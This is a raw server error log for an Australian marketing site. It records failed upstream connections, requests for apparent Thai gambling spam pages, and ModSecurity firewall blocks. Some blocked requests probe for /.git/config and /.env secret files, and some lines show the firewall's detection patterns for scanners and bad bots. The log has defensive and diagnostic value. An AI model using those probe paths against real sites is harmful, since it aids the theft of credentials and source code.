2025/11/12 08:54:08 [error] 24802#24802: *3153 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.215, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:54:08 [error] 24797#24797: *3156 connect() failed (111: Connection refused) while connecting to upstream, client: 109.70.100.4, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:54:22 [error] 24803#24803: *3210 connect() failed (111: Connection refused) while connecting to upstream, client: 193.189.100.194, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:54:41 [error] 24805#24805: *3282 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.54, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:55:17 [error] 24802#24802: *3380 connect() failed (111: Connection refused) while connecting to upstream, client: 185.244.192.184, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:55:19 [error] 24799#24799: *3394 connect() failed (111: Connection refused) while connecting to upstream, client: 31.133.0.235, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:55:49 [error] 24800#24800: *3524 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.74, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:55:50 [error] 24803#24803: *3528 connect() failed (111: Connection refused) while connecting to upstream, client: 23.129.64.223, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:56:01 [error] 24805#24805: *3566 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.101.54, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:56:08 [error] 24805#24805: *3573 connect() failed (111: Connection refused) while connecting to upstream, client: 185.40.4.149, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:56:23 [error] 24804#24804: *3735 connect() failed (111: Connection refused) while connecting to upstream, client: 217.182.75.199, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:56:23 [error] 24805#24805: *3734 connect() failed (111: Connection refused) while connecting to upstream, client: 192.76.153.253, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:56:27 [error] 24800#24800: *3825 connect() failed (111: Connection refused) while connecting to upstream, client: 107.189.4.12, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:56:50 [error] 24795#24795: *4274 connect() failed (111: Connection refused) while connecting to upstream, client: 179.43.159.198, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:57:03 [error] 24794#24794: *4617 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.216, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:57:04 [error] 24801#24801: *4636 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.55, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:57:24 [error] 24805#24805: *5009 connect() failed (111: Connection refused) while connecting to upstream, client: 104.244.72.115, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:57:38 [error] 24794#24794: *5333 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.55, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:57:39 [error] 24797#24797: *5343 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.101.132, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:58:16 [error] 24800#24800: *6416 connect() failed (111: Connection refused) while connecting to upstream, client: 3.79.134.69, server: measureyourbrand.com.au, request: "GET / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/"
2025/11/12 08:59:28 [error] 24804#24804: *7710 connect() failed (111: Connection refused) while connecting to upstream, client: 124.198.132.237, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:59:34 [error] 24803#24803: *7730 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.178, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 08:59:45 [error] 24800#24800: *7764 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.183, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:00:01 [error] 24803#24803: *7843 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.128, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:00:03 [error] 24801#24801: *7848 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.101.172, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:00:05 [error] 24803#24803: *7871 connect() failed (111: Connection refused) while connecting to upstream, client: 195.80.151.242, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:00:31 [error] 24801#24801: *7950 connect() failed (111: Connection refused) while connecting to upstream, client: 217.182.75.199, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:00:39 [error] 24796#24796: *7987 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.213, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:00:44 [error] 24804#24804: *8000 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.199, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:00:59 [error] 24796#24796: *8061 connect() failed (111: Connection refused) while connecting to upstream, client: 23.129.64.190, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:00:59 [error] 24794#24794: *8066 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.101.129, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:01:01 [error] 24803#24803: *8070 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.214, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:01:22 [error] 24796#24796: *8159 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.175, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:01:27 [error] 24804#24804: *8198 connect() failed (111: Connection refused) while connecting to upstream, client: 85.93.31.31, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:01:37 [error] 24794#24794: *8217 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.174, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:01:54 [error] 24794#24794: *8300 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.101.131, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:02:02 [error] 24802#24802: *8334 connect() failed (111: Connection refused) while connecting to upstream, client: 179.43.134.19, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:02:14 [error] 24793#24793: *8395 connect() failed (111: Connection refused) while connecting to upstream, client: 185.165.169.239, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:02:19 [error] 24794#24794: *8411 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.76, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:02:31 [error] 24795#24795: *8472 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.183, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:02:50 [error] 24798#24798: *8527 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.196, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:02:50 [error] 24804#24804: *8529 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.219, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:02:58 [error] 24804#24804: *8584 connect() failed (111: Connection refused) while connecting to upstream, client: 37.114.50.27, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:03:03 [error] 24795#24795: *8619 connect() failed (111: Connection refused) while connecting to upstream, client: 185.220.101.5, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:03:07 [error] 24799#24799: *8651 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.212, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:03:22 [error] 24805#24805: *8796 connect() failed (111: Connection refused) while connecting to upstream, client: 49.13.134.145, server: measureyourbrand.com.au, request: "GET / HTTP/1.1", upstream: "http://103.4.122.14:8181/", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/"
2025/11/12 09:04:20 [error] 24801#24801: *9204 connect() failed (111: Connection refused) while connecting to upstream, client: 185.40.4.22, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:04:29 [error] 24801#24801: *9270 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.212, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:04:33 [error] 24805#24805: *9297 connect() failed (111: Connection refused) while connecting to upstream, client: 45.84.107.74, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:04:42 [error] 24800#24800: *9348 connect() failed (111: Connection refused) while connecting to upstream, client: 192.42.116.202, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", upstream: "http://103.4.122.14:8181/AutomatedBusinessLanding", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:22:04 [error] 23005#23005: *116 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 45.84.107.33, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:22:13 [error] 23009#23009: *165 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 185.220.101.176, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:22:19 [error] 23001#23001: *194 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 194.15.36.117, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:22:43 [error] 23008#23008: *347 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 192.42.116.177, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:22:50 [error] 23009#23009: *482 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 185.246.188.74, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:22:56 [error] 23006#23006: *505 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 195.47.238.91, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:22:59 [error] 23009#23009: *515 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 45.84.107.54, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:23:04 [error] 23009#23009: *554 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 124.198.132.237, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:23:10 [error] 23009#23009: *584 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 192.42.116.216, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:23:21 [error] 23009#23009: *641 openat() "/home/measureyourbrand/public_html/AutomatedBusinessLanding" failed (2: No such file or directory), client: 171.25.193.132, server: measureyourbrand.com.au, request: "GET /AutomatedBusinessLanding HTTP/1.1", host: "measureyourbrand.com.au", referrer: "https://measureyourbrand.com.au/AutomatedBusinessLanding"
2025/11/12 09:23:27 [error] 23008#23008: *657 openat() "/home/measureyourbrand/public_html/ios/เทคนิคเล่น 4x4 สล็อต menang.html" failed (2: No such file or directory), client: 66.249.70.167, server: measureyourbrand.com.au, request: "GET /ios/%E0%B9%80%E0%B8%97%E0%B8%84%E0%B8%99%E0%B8%B4%E0%B8%84%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%204x4%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20menang.html HTTP/1.1", host: "measureyourbrand.com.au"
2025/11/12 09:23:27 [error] 22999#22999: *658 openat() "/home/measureyourbrand/public_html/app/สล็อต pg แท้ เครดิต ฟรี.html" failed (2: No such file or directory), client: 66.249.70.167, server: measureyourbrand.com.au, request: "GET /app/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20pg%20%E0%B9%81%E0%B8%97%E0%B9%89%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%20%E0%B8%9F%E0%B8%A3%E0%B8%B5.html HTTP/1.1", host: "measureyourbrand.com.au"
[Wed Nov 12 14:01:15.692608 2025] [:error] [pid 12744:tid 12750] [client 45.153.34.41:55912] [client 45.153.34.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aRQiq51cp_ouUvkFj0Xm9wAAAQI"]
[Wed Nov 12 14:31:37.323608 2025] [:error] [pid 60405:tid 60431] [client 45.153.34.41:60838] [client 45.153.34.41] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aRQpyXMGv_mlVi6mf5qxogAAABc"]
[Wed Nov 12 17:12:38.172521 2025] [:error] [pid 60096:tid 60155] [client 192.42.116.210:47484] [client 192.42.116.210] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "52.167.144.199_3d3ac58d8463837308f32ae367c2da2fbbbe11de"): Internal error (specific information not available) [hostname "measureyourbrand.com.au"] [uri "/index.php/AutomatedBusinessLanding/verification"] [unique_id "aRRPgzmzkhCvvk8DXOyKBAAAAJU"], referer: https://measureyourbrand.com.au/AutomatedBusinessLanding/verification
[Thu Nov 13 03:24:59.644273 2025] [:error] [pid 60095:tid 60120] [client 144.91.103.201:55552] [client 144.91.103.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/security.txt"] [unique_id "aRTfC3lw2elroagFF1qSowAAAFU"]
[Thu Nov 13 03:25:00.924819 2025] [:error] [pid 60180:tid 60191] [client 144.91.103.201:55568] [client 144.91.103.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/security.txt"] [unique_id "aRTfDFhgd7ccS8EZg1qz7QAAAUk"]
[Thu Nov 13 07:35:34.395894 2025] [:error] [pid 22566:tid 22585] [client 85.203.36.147:55073] [client 85.203.36.147] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aRUZxjfdqWaUbu3e06-08wAAARE"]
[Thu Nov 13 08:18:30.643432 2025] [:error] [pid 22566:tid 22572] [client 112.211.80.187:59521] [client 112.211.80.187] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.211.80.187, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aRUj1jfdqWaUbu3e06-_qwAAAQQ"]
[Thu Nov 13 10:00:29.566708 2025] [:error] [pid 32882:tid 32889] [client 117.62.235.53:42796] [client 117.62.235.53] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRU7vei5dxX_4ZQTqZsyBgAAAQU"]
[Thu Nov 13 10:47:02.845003 2025] [:error] [pid 62217:tid 62278] [client 49.51.38.193:58288] [client 49.51.38.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRVGphjGU3T9wKBmdNehBwAAAEQ"]
[Thu Nov 13 14:30:45.714816 2025] [:error] [pid 62217:tid 62284] [client 43.153.10.83:48804] [client 43.153.10.83] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aRV7FRjGU3T9wKBmdNf4SwAAAEo"]
[Thu Nov 13 16:24:16.012988 2025] [:error] [pid 44354:tid 44374] [client 182.44.9.147:40671] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aRWVsHqKopQhy3G4s3lYuAAAAY8"]
[Thu Nov 13 17:55:43.717155 2025] [:error] [pid 44245:tid 44253] [client 150.241.107.255:56129] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRWrH4k7r-HKZdqw-dXPOgAAAUI"]
